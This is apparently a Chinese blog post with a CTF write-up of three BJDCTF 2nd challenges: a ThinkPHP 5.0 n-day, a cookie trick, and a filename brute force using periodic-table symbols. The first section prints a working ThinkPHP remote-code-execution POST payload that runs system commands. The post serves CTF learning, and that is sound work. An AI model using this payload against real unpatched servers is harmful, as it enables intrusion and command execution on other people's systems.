[BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster

三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞

一、old-hack

 

 进入题目没发现什么Hint和有用的东西,只给出了ThinkPHP5的提示,猜测应该是考察一个ThinkPHP5的nday,

想办法构造一个ThinkPHP的报错看一下详细版本:

http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1

 

 

百度查一下这个版本的漏洞,发现有一个RCE的漏洞:ThinkPHP5.0.*版本代码执行漏洞

 

 

直接构造Payload,得到Flag:

http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha

POST_DATA: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

 

 

 

二、Schrödinger

名字很高大上,薛定谔( 遇事不决,量子力学

进入题目看到是一个爆破密码的页面,提示删除test.php文件,,访问一下发现存在,应该是让我们爆破test.php文件了:

 

 输入http://127.0.0.1/test.php点击Input开始爆破,根据文字提示得知当爆破进度达到100%时可以得到结果,但是后面爆破得非常慢

出题人给出的Hint是“多关注cookie”,查看cookie后发现base64加密之后的时间戳:

 

 解码之后应该是 user=当前时间戳。

直接将该值置空后刷新页面,点击Check得到一个B站av号:

 

 B站访问(还是个量子力学的讲座,真贴合题目),评论区找到Flag:

 

 

闲话:看这个视频评论区的时候还看到了一位初中自学量子力学的大佬。。。我初中的时候还在挖SQL注入。。。可能这就是大佬的世界吧

三、elementmaster

彻头彻尾的脑洞题,没啥说的,进入题目查看源代码发现隐藏的文字,id出现的有点突兀,hex解码一下发现是元素:

 

 解码后得到Po.和php,访问Po.php发现返回了一个 .

这个时候队友说了一句不会是用元素周期表爆破吧,然后写了脚本试了一下,得到Flag所在文件名:

import requests

url = "http://d8e281df-f647-45ea-97aa-768fa2a930f5.node3.buuoj.cn"

dict = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for element in dict:
    req = requests.get(url+'/'+element+'.php')
    if "404" in req.text:
        pass
    else:
        print(req.text)

 

得到文件名: And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问得到Flag:

 

posted @ 2020-03-24 19:52  Ye'sBlog  阅读(782)  评论(0编辑  收藏  举报